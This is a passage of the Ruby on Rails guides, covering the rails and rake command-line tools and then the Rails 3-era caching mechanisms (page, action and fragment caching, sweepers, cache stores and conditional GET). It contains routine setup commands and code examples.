You can also use the alias "s" to start the server: `rails s`.

The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`.

```
$ rails server -e production -p 4000
```

The `-b` option binds Rails to the specified ip, by default it is 0.0.0.0. You can run a server as a daemon by passing a `-d` option.

1.3 `rails generate`

The `rails generate` command uses templates to create a whole lot of things. Running `rails generate` by itself gives a list of available generators:

You can also use the alias "g" to invoke the generator command: `rails g`.

```
$ rails generate
Usage: rails generate GENERATOR [args] [options]

...
...

Please choose a generator below.

Rails:
  controller
  generator
  ...
  ...
```

You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!

Using generators will save you a large amount of time by writing **boilerplate code**, code that is necessary for the app to work.

Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:

All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`.

```
$ rails generate controller
Usage: rails generate controller NAME [action action] [options]

...
...

Example:
    rails generate controller CreditCard open debit credit close

    Credit card controller with URLs like /credit_card/debit.
        Controller: app/controllers/credit_card_controller.rb
        Views:      app/views/credit_card/debit.html.erb [...]
        Helper:     app/helpers/credit_card_helper.rb
        Test:       test/functional/credit_card_controller_test.rb

Modules Example:
    rails generate controller 'admin/credit_card' suspend late_fee

    Credit card admin controller with URLs like /admin/credit_card/suspend.
        Controller: app/controllers/admin/credit_card_controller.rb
        Views:      app/views/admin/credit_card/debit.html.erb [...]
        Helper:     app/helpers/admin/credit_card_helper.rb
        Test:       test/functional/admin/credit_card_controller_test.rb
```

The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us.

```
$ rails generate controller Greetings hello
     create  app/controllers/greetings_controller.rb
      route  get "greetings/hello"
     invoke  erb
     create    app/views/greetings
     create    app/views/greetings/hello.html.erb
     invoke  test_unit
     create    test/functional/greetings_controller_test.rb
     invoke  helper
     create    app/helpers/greetings_helper.rb
     invoke    test_unit
     create      test/unit/helpers/greetings_helper_test.rb
     invoke  assets
     create    app/assets/javascripts/greetings.js
     invoke    css
     create      app/assets/stylesheets/greetings.css
```

What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a javascript file and a stylesheet file.

Check out the controller and modify it a little (in `app/controllers/greetings_controller.rb`):

```
class GreetingsController < ApplicationController
  def hello
```

```
    @message = "Hello, how are you today?"
  end
end
```

Then the view, to display our message (in `app/views/greetings/hello.html.erb`):

```
<h1>A Greeting for You!</h1>
<p><%= @message %></p>
```

Fire up your server using `rails server`.

```
$ rails server
=> Booting WEBrick...
```

Make sure that you do not have any "tilde backup" files in `app/views/(controller)`, or else WEBrick will *not* show the expected output. This seems to be a **bug** in Rails 2.3.0.

The URL will be **http://localhost:3000/greetings/hello**.

With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the **index** action of that controller.

Rails comes with a generator for data models too.

```
$ rails generate model
Usage: rails generate model NAME [field:type field:type] [options]

...

Examples:
    rails generate model account

            Model:      app/models/account.rb
            Test:       test/unit/account_test.rb
            Fixtures:   test/fixtures/accounts.yml
            Migration:  db/migrate/XXX_add_accounts.rb

    rails generate model post title:string body:text published:boolean

        Creates a Post model with a string title, text body, and published flag.
```

For a list of available field types, refer to the **API documentation** for the column method for the `TableDefinition` class.

But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A **scaffold** in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.

We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.

```
$ rails generate scaffold HighScore game:string score:integer
    exists  app/models/
    exists  app/controllers/
    exists  app/helpers/
    create  app/views/high_scores
    create  app/views/layouts/
    exists  test/functional/
    create  test/unit/
    create  app/assets/stylesheets/
    create  app/views/high_scores/index.html.erb
    create  app/views/high_scores/show.html.erb
    create  app/views/high_scores/new.html.erb
    create  app/views/high_scores/edit.html.erb
    create  app/views/layouts/high_scores.html.erb
    create  app/assets/stylesheets/scaffold.css.scss
    create  app/controllers/high_scores_controller.rb
    create  test/functional/high_scores_controller_test.rb
    create  app/helpers/high_scores_helper.rb
     route  resources :high_scores
dependency  model
    exists    app/models/
    exists    test/unit/
    create    test/fixtures/
    create    app/models/high_score.rb
    create    test/unit/high_score_test.rb
    create    test/fixtures/high_scores.yml
    exists    db/migrate
    create    db/migrate/20100209025147_create_high_scores.rb
```

The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything.

The migration requires that we **migrate**, that is, run some Ruby code (living in that `20100209025147_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.

```
$ rake db:migrate
(in /home/foobar/commandsapp)
==  CreateHighScores: migrating ===============================================
-- create_table(:high_scores)
   -> 0.0026s
==  CreateHighScores: migrated (0.0028s) ======================================
```

Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.

Let's see the interface Rails created for us.

```
$ rails server
```

Go to your browser and open **http://localhost:3000/high_scores**, now we can create new high scores (55,160 on Space Invaders!)

1.4 `rails console`

The `console` command lets you interact with your Rails application from the command line. On the underside, `rails console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.

You can also use the alias "c" to invoke the console: `rails c`.

If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`.

```
$ rails console --sandbox
Loading development environment in sandbox (Rails 3.1.0)
Any modifications you make will be rolled back on exit
irb(main):001:0>
```

1.5 `rails dbconsole`

`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.

You can also use the alias "db" to invoke the dbconsole: `rails db`.

1.6 `rails plugin`

The `rails plugin` command simplifies plugin management. Plugins can be installed by name or their repository URLs. You need to have Git installed if you want to install a plugin from a Git repo. The same holds for Subversion too.

```
$ rails plugin install https://github.com/technoweenie/acts_as_paranoid.git
+ ./CHANGELOG
+ ./MIT-LICENSE
...
...
```

1.7 `rails runner`

`runner` runs Ruby code in the context of Rails non-interactively. For instance:

```
$ rails runner "Model.long_running_method"
```

You can also use the alias "r" to invoke the runner: `rails r`.

You can specify the environment in which the `runner` command should operate using the `-e` switch.

```
$ rails runner -e staging "Model.long_running_method"
```

1.8 `rails destroy`

Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it.

You can also use the alias "d" to invoke the destroy command: `rails d`.

```
$ rails generate model Oops
      exists  app/models/
      exists  test/unit/
      exists  test/fixtures/
      create  app/models/oops.rb
      create  test/unit/oops_test.rb
      create  test/fixtures/oops.yml
      exists  db/migrate
      create  db/migrate/20081221040817_create_oops.rb
$ rails destroy model Oops
    notempty  db/migrate
    notempty  db
          rm  db/migrate/20081221040817_create_oops.rb
          rm  test/fixtures/oops.yml
          rm  test/unit/oops_test.rb
          rm  app/models/oops.rb
    notempty  test/fixtures
    notempty  test
    notempty  test/unit
    notempty  test
    notempty  app/models
    notempty  app
```

2 Rake

Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and `.rake` files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.

You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing `rake --tasks`. Each task has a description, and should help you find the thing you need.

```
$ rake --tasks
(in /home/foobar/commandsapp)
rake db:abort_if_pending_migrations       # Raises an error if there are pending migrations
rake db:charset                           # Retrieves the charset for the current environment's database
rake db:collation                         # Retrieves the collation for the current environment's database
rake db:create                            # Create the database defined in config/database.yml for the current Rails.env
...
...
rake tmp:pids:clear                       # Clears all files in tmp/pids
rake tmp:sessions:clear                   # Clears all files in tmp/sessions
rake tmp:sockets:clear                    # Clears all files in tmp/sockets
```

2.1 about

`rake about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.

```
$ rake about
About your application's environment
Ruby version              1.8.7 (x86_64-linux)
RubyGems version          1.3.6
Rack version              1.3
Rails version             3.2.0.beta
JavaScript Runtime        Node.js (V8)
Active Record version     3.2.0.beta
Action Pack version       3.2.0.beta
Active Resource version   3.2.0.beta
Action Mailer version     3.2.0.beta
Active Support version    3.2.0.beta
Middleware                ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::Sh
Application root          /home/foobar/commandsapp
Environment               development
Database adapter          sqlite3
Database schema version   20110805173523
```

2.2 assets

You can precompile the assets in `app/assets` using `rake assets:precompile` and remove those compiled assets using `rake assets:clean`.

2.3 db

The most common tasks of the `db:` Rake namespace are `migrate` and `create`, and it will pay off to try out all of the migration rake tasks (`up`, `down`, `redo`, `reset`). `rake db:version` is useful when troubleshooting, telling you the current version of the database.

More information about migrations can be found in the **Migrations** guide.

2.4 doc

The `doc:` namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.

- `rake doc:app` generates documentation for your application in `doc/app`.
- `rake doc:guides` generates Rails guides in `doc/guides`.
- `rake doc:rails` generates API documentation for Rails in `doc/api`.
- `rake doc:plugins` generates API documentation for all the plugins installed in the application in `doc/plugins`.
- `rake doc:clobber_plugins` removes the generated documentation for all plugins.

2.5 notes

`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.erb`, `.haml` and `.slim` for both default and custom annotations.

```
$ rake notes
(in /home/foobar/commandsapp)
app/controllers/admin/users_controller.rb:
  * [ 20] [TODO] any other way to do this?
  * [132] [FIXME] high priority for next deploy

app/model/school.rb:
  * [ 13] [OPTIMIZE] refactor this code to make it faster
  * [ 17] [FIXME]
```

If you are looking for a specific annotation, say FIXME, you can use `rake notes:fixme`. Note that you have to lower case the annotation's name.

```
$ rake notes:fixme
(in /home/foobar/commandsapp)
app/controllers/admin/users_controller.rb:
  * [132] high priority for next deploy

app/model/school.rb:
  * [ 17]
```

You can also use custom annotations in your code and list them using `rake notes:custom` by specifying the annotation using an environment variable `ANNOTATION`.

```
$ rake notes:custom ANNOTATION=BUG
(in /home/foobar/commandsapp)
app/model/post.rb:
  * [ 23] Have to fix this one before pushing!
```

When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.

2.6 routes

`rake routes` will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.

2.7 test

A good description of unit testing in Rails is given in **A Guide to Testing Rails Applications**

Rails comes with a test suite called `Test::Unit`. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write.

2.8 `tmp`

The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions.

The `tmp:` namespaced tasks will help you clear the `Rails.root/tmp` directory:

- `rake tmp:cache:clear` clears `tmp/cache`.
- `rake tmp:sessions:clear` clears `tmp/sessions`.
- `rake tmp:sockets:clear` clears `tmp/sockets`.
- `rake tmp:clear` clears all the three: cache, sessions and sockets.

2.9 Miscellaneous

- `rake stats` is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
- `rake secret` will give you a pseudo-random key to use for your session secret.
- `rake time:zones:all` lists all the timezones Rails knows about.

3 The Rails Advanced Command Line

More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.

3.1 Rails with Databases and SCM

When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.

Let's see what a `--git` option and a `--database=postgresql` option will do for us:

```
$ mkdir gitapp
$ cd gitapp
$ git init
Initialized empty Git repository in .git/
$ rails new . --git --database=postgresql
      exists
      create  app/controllers
      create  app/helpers
...
...
      create  tmp/cache
      create  tmp/pids
      create  Rakefile
add 'Rakefile'
      create  README.rdoc
add 'README.rdoc'
      create  app/controllers/application_controller.rb
add 'app/controllers/application_controller.rb'
      create  app/helpers/application_helper.rb
...
      create  log/test.log
add 'log/test.log'
```

We had to create the **gitapp** directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:

```
$ cat config/database.yml
# PostgreSQL. Versions 8.2 and up are supported.
#
# Install the ruby-postgres driver:
#   gem install ruby-postgres
# On Mac OS X:
#   gem install ruby-postgres -- --include=/usr/local/pgsql
# On Windows:
#   gem install ruby-postgres
#       Choose the win32 build.
#       Install PostgreSQL and put its /bin directory on your path.
development:
  adapter: postgresql
  encoding: unicode
  database: gitapp_development
  pool: 5
  username: gitapp
  password:
...
...
```

It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.

The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the `rails new` command to generate the basis of your app.

3.2 `server` with Different Backends

Many people have created a large number of different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!).

For more details on the Rack integration, see **Rails on Rack**.

To use a different server, just install its gem, then use its name for the first parameter to `rails server`:

```
$ sudo gem install mongrel
Building native extensions.  This could take a while...
Building native extensions.  This could take a while...
Successfully installed gem_plugin-0.2.3
Successfully installed fastthread-1.0.1
```

```
Successfully installed cgi_multipart_eof_fix-2.5.0
Successfully installed mongrel-1.1.5
...
...
Installing RDoc documentation for mongrel-1.1.5...
$ rails server mongrel
=> Booting Mongrel (use 'rails server webrick' to force WEBrick)
=> Rails 3.1.0 application starting on http://0.0.0.0:3000
...
```

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Caching with Rails: An overview

This guide will teach you what you need to know about avoiding that expensive round-trip to your database and returning what you need to return to the web clients in the shortest time possible.

After reading this guide, you should be able to use and configure:

- Page, action, and fragment caching
- Sweepers
- Alternative cache stores
- Conditional GET support

Chapters

1. **Basic Caching**
    - **Page Caching**
    - **Action Caching**
    - **Fragment Caching**
    - **Sweepers**
    - **SQL Caching**
2. **Cache Stores**
    - **Configuration**
    - **ActiveSupport::Cache::Store**
    - **ActiveSupport::Cache::MemoryStore**
    - **ActiveSupport::Cache::FileStore**
    - **ActiveSupport::Cache::MemCacheStore**
    - **ActiveSupport::Cache::EhcacheStore**
    - **ActiveSupport::Cache::NullStore**
    - **Custom Cache Stores**
    - **Cache Keys**
3. **Conditional GET support**
4. **Further reading**

1 Basic Caching

This is an introduction to the three types of caching techniques that Rails provides by default without the use of any third party plugins.

To start playing with caching you'll want to ensure that `config.action_controller.perform_caching` is set to `true`, if you're running in development mode. This flag is normally set in the corresponding `config/environments/*.rb` and caching is disabled by default for development and test, and enabled for production.

```
config.action_controller.perform_caching = true
```

1.1 Page Caching

Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.

To enable page caching, you need to use the `caches_page` method.

```
class ProductsController < ActionController

  caches_page :index
```

```
  def index
    @products = Products.all
  end
end
```

Let's say you have a controller called `ProductsController` and an `index` action that lists all the products. The first time anyone requests `/products`, Rails will generate a file called `products.html` and the webserver will then look for that file before it passes the next request for `/products` to your Rails application.

By default, the page cache directory is set to `Rails.public_path` (which is usually set to the `public` folder) and this can be configured by changing the configuration setting `config.action_controller.page_cache_directory`. Changing the default from `public` helps avoid naming conflicts, since you may want to put other static html in `public`, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from.

The Page Caching mechanism will automatically add a `.html` extension to requests for pages that do not have an extension to make it easy for the webserver to find those pages and this can be configured by changing the configuration setting `config.action_controller.page_cache_extension`.

In order to expire this page when a new product is added we could extend our example controller like this:

```
class ProductsController < ActionController

  caches_page :index

  def index
    @products = Products.all
  end

  def create
    expire_page :action => :index
  end

end
```

If you want a more complicated expiration scheme, you can use cache sweepers to expire cached objects when things change. This is covered in the section on Sweepers.

By default, page caching automatically gzips files (for example, to `products.html.gz` if user requests `/products`) to reduce the size of data transmitted (web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, compression ratio is maximum).

Nginx is able to serve compressed content directly from disk by enabling `gzip_static`:

```
location /  {
  gzip_static on; # to serve pre-gzipped version
}
```

You can disable gzipping by setting `:gzip` option to false (for example, if action returns image):

```
caches_page :image, :gzip => false
```

Or, you can set custom gzip compression level (level names are taken from `Zlib` constants):

```
caches_page :image, :gzip => :best_speed
```

Page caching ignores all parameters. For example `/products?page=1` will be written out to the filesystem as `products.html` with no reference to the `page` parameter. Thus, if someone requests `/products?page=2` later, they will get the cached first page. A workaround for this limitation is to include the parameters in the page's path, e.g. `/productions/page/1`.

Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.

1.2 Action Caching

One of the issues with Page Caching is that you cannot use it for pages that require to restrict access somehow. This is where Action Caching comes in. Action Caching works like Page Caching except for the fact that the incoming web request does go from the webserver to the Rails stack and Action Pack so that before filters can be run on it before the cache is served. This allows authentication and other restriction to be run while still serving the result of the output from a cached copy.

Clearing the cache works in a similar way to Page Caching, except you use `expire_action` instead of `expire_page`.

Let's say you only wanted authenticated users to call actions on `ProductsController`.

```
class ProductsController < ActionController

  before_filter :authenticate
  caches_action :index

  def index
    @products = Product.all
  end

  def create
    expire_action :action => :index
  end

end
```

You can also use `:if` (or `:unless`) to pass a Proc that specifies when the action should be cached. Also, you can use `:layout => false` to cache without layout so that dynamic information in the layout such as logged in user info or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2.

You can modify the default action cache path by passing a `:cache_path` option. This will be passed directly to `ActionCachePath.path_for`. This is handy for actions with multiple possible routes that should be cached differently. If a block is given, it is called with the current controller instance.

Finally, if you are using memcached or Ehcache, you can also pass `:expires_in`. In fact, all parameters not used by `caches_action` are sent to the underlying cache store.

Action caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.

1.3 Fragment Caching

Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently, Rails provides a mechanism called Fragment Caching.

Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.

As an example, if you wanted to show all the orders placed on your website in real time and didn't want to cache that part of the page, but did want to cache the part of the page which lists all products available, you could use this piece of code:

```
<% Order.find_recent.each do |o| %>
  <%= o.buyer.name %> bought <%= o.product.name %>
<% end %>

<% cache do %>
  All available products:
  <% Product.all.each do |p| %>
```

```
    <%= link_to p.name, product_url(p) %>
  <% end %>
<% end %>
```

The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an `action_suffix` to the cache call:

```
<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
  All available products:
```

and you can expire it using the `expire_fragment` method, like so:

```
expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products')
```

If you don't want the cache block to bind to the action that called it, You can also use globally keyed fragments by calling the `cache` method with a key, like so:

```
<% cache('all_available_products') do %>
  All available products:
<% end %>
```

This fragment is then available to all actions in the `ProductsController` using the key and can be expired the same way:

```
expire_fragment('all_available_products')
```

1.4 Sweepers

Cache sweeping is a mechanism which allows you to get around having a ton of `expire_{page,action,fragment}` calls in your code. It does this by moving all the work required to expire cached content into an `ActionController::Caching::Sweeper` subclass. This class is an observer and looks for changes to an object via callbacks, and when a change occurs it expires the caches associated with that object in an around or after filter.

Continuing with our Product controller example, we could rewrite it with a sweeper like this:

```
class ProductSweeper < ActionController::Caching::Sweeper
  observe Product # This sweeper is going to keep an eye on the Product model

  # If our sweeper detects that a Product was created call this
  def after_create(product)
    expire_cache_for(product)
  end

  # If our sweeper detects that a Product was updated call this
  def after_update(product)
    expire_cache_for(product)
  end

  # If our sweeper detects that a Product was deleted call this
  def after_destroy(product)
    expire_cache_for(product)
  end

  private
  def expire_cache_for(product)
    # Expire the index page now that we added a new product
    expire_page(:controller => 'products', :action => 'index')

    # Expire a fragment
    expire_fragment('all_available_products')
  end
end
```

You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire:

```
expire_action(:controller => 'products', :action => 'edit', :id => product.id)
```

Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following:

```
class ProductsController < ActionController

  before_filter :authenticate
  caches_action :index
  cache_sweeper :product_sweeper

  def index
    @products = Product.all
  end

end
```

1.5 SQL Caching

Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.

For example:

```
class ProductsController < ActionController

  def index
    # Run a find query
    @products = Product.all

    ...

    # Run the same query again
    @products = Product.all
  end

end
```

The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory.

However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can in Rails by using low level caching.

2 Cache Stores

Rails provides different stores for the cached data created by action and fragment caches. Page caches are always stored on disk.

2.1 Configuration

You can set up your application's default cache store by calling `config.cache_store=` in the Application definition inside your `config/application.rb` file or in an Application.configure block in an environment specific configuration file (i.e. `config/environments/*.rb`). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor.

```
config.cache_store = :memory_store
```

```
config.cache_store = :memory_store
```

Alternatively, you can call `ActionController::Base.cache_store` outside of a configuration block.

You can access the cache by calling `Rails.cache`.

2.2 ActiveSupport::Cache::Store

This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below.

The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists.

There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.

- `:namespace` – This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment.
- `:compress` – This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
- `:compress_threshold` – This options is used in conjunction with the `:compress` option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes.
- `:expires_in` – This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache.
- `:race_condition_ttl` – This option is used in conjunction with the `:expires_in` option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the `:expires_in` option.

2.3 ActiveSupport::Cache::MemoryStore

This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the `:size` options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.

```
ActionController::Base.cache_store = :memory_store, :size => 64.megabytes
```

If you're running multiple Ruby on Rails server processes (which is the case if you're using mongrel_cluster or Phusion Passenger), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments, but can work well for small, low traffic sites with only a couple of server processes or for development and test environments.

This is the default cache store implementation.

2.4 ActiveSupport::Cache::FileStore

This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.

```
ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
```

With this cache store, multiple server processes on the same host can share a cache. Servers processes running on different hosts could share a cache by using a shared file system, but that set up would not be ideal and is not recommended. The cache store is appropriate for low to medium traffic sites that are served off one or two hosts.

Note that the cache will grow until the disk is full unless you periodically clear out old entries.

2.5 ActiveSupport::Cache::MemCacheStore

2.5 ActiveSupport::Cache::MemCacheStore

This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `memcache-client` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.

When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites.

The `write` and `fetch` methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify `:raw` to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operation like `increment` and `decrement` only on raw values. You can also specify `:unless_exist` if you don't want memcached to overwrite an existing entry.

```
ActionController::Base.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
```

2.6 ActiveSupport::Cache::EhcacheStore

If you are using JRuby you can use Terracotta's Ehcache as the cache store for your application. Ehcache is an open source Java cache that also offers an enterprise version with increased scalability, management, and commercial support. You must first install the jruby-ehcache-rails3 gem (version 1.1.0 or later) to use this cache store.

```
ActionController::Base.cache_store = :ehcache_store
```

When initializing the cache, you may use the `:ehcache_config` option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache).

In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the **Ehcache Element class** , including:

Property	Argument Type	Description
elementEvictionData	ElementEvictionData	Sets this element's eviction data instance.
eternal	boolean	Sets whether the element is eternal.
timeToIdle, tti	int	Sets time to idle
timeToLive, ttl, expires_in	int	Sets time to Live
version	long	Sets the version attribute of the ElementAttributes object.

These options are passed to the `write` method as Hash options using either camelCase or underscore notation, as in the following examples:

```
Rails.cache.write('key', 'value', :time_to_idle => 60.seconds, :timeToLive => 600.seconds)
caches_action :index, :expires_in => 60.seconds, :unless_exist => true
```

For more information about Ehcache, see **http://ehcache.org/** . For more information about Ehcache for JRuby and Rails, see **http://ehcache.org/documentation/jruby.html**

2.7 ActiveSupport::Cache::NullStore

This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with `Rails.cache`, but caching may interfere with being able to see the results of code changes. With this cache store, all `fetch` and `read` operations will result in a miss.

```
ActionController::Base.cache_store = :null
```

2.8 Custom Cache Stores

You can create your own custom cache store by simply extending `ActiveSupport::Cache::Store` and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application.

the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application.

To use a custom cache store, simple set the cache store to a new instance of the class.

```
ActionController::Base.cache_store = MyCacheStore.new
```

2.9 Cache Keys

The keys used in a cache can be any object that responds to either `:cache_key` or to `:to_param`. You can implement the `:cache_key` method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id.

You can use Hashes and Arrays of values as cache keys.

```
# This is a legal cache key
Rails.cache.read(:site => "mysite", :owners => [owner_1, owner_2])
```

The keys you use on `Rails.cache` will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with `Rails.cache` and then try to pull them out with the `memcache-client` gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.

3 Conditional GET support

Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.

They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status.

It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:

```
class ProductsController < ApplicationController

  def show
    @product = Product.find(params[:id])

    # If the request is stale according to the given timestamp and etag value
    # (i.e. it needs to be processed again) then execute this block
    if stale?(:last_modified => @product.updated_at.utc, :etag => @product)
      respond_to do |wants|
        # ... normal response processing
      end
    end

    # If the request is fresh (i.e. it's not modified) then you don't need to do
    # anything. The default render checks for this using the parameters
    # used in the previous call to stale? and will automatically send a
    # :not_modified. So that's it, you're done.
  end
end
```

If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you've got an easy helper in fresh_when:

```
class ProductsController < ApplicationController

  # This will automatically send back a :not_modified if the request is fresh,
  # and will render the default template (product.*) if it's stale.

  def show
```

```
    @product = Product.find(params[:id])
    fresh_when :last_modified => @product.published_at.utc, :etag => @product
  end
end
```

4 Further reading

- **Scaling Rails Screencasts**

Feedback

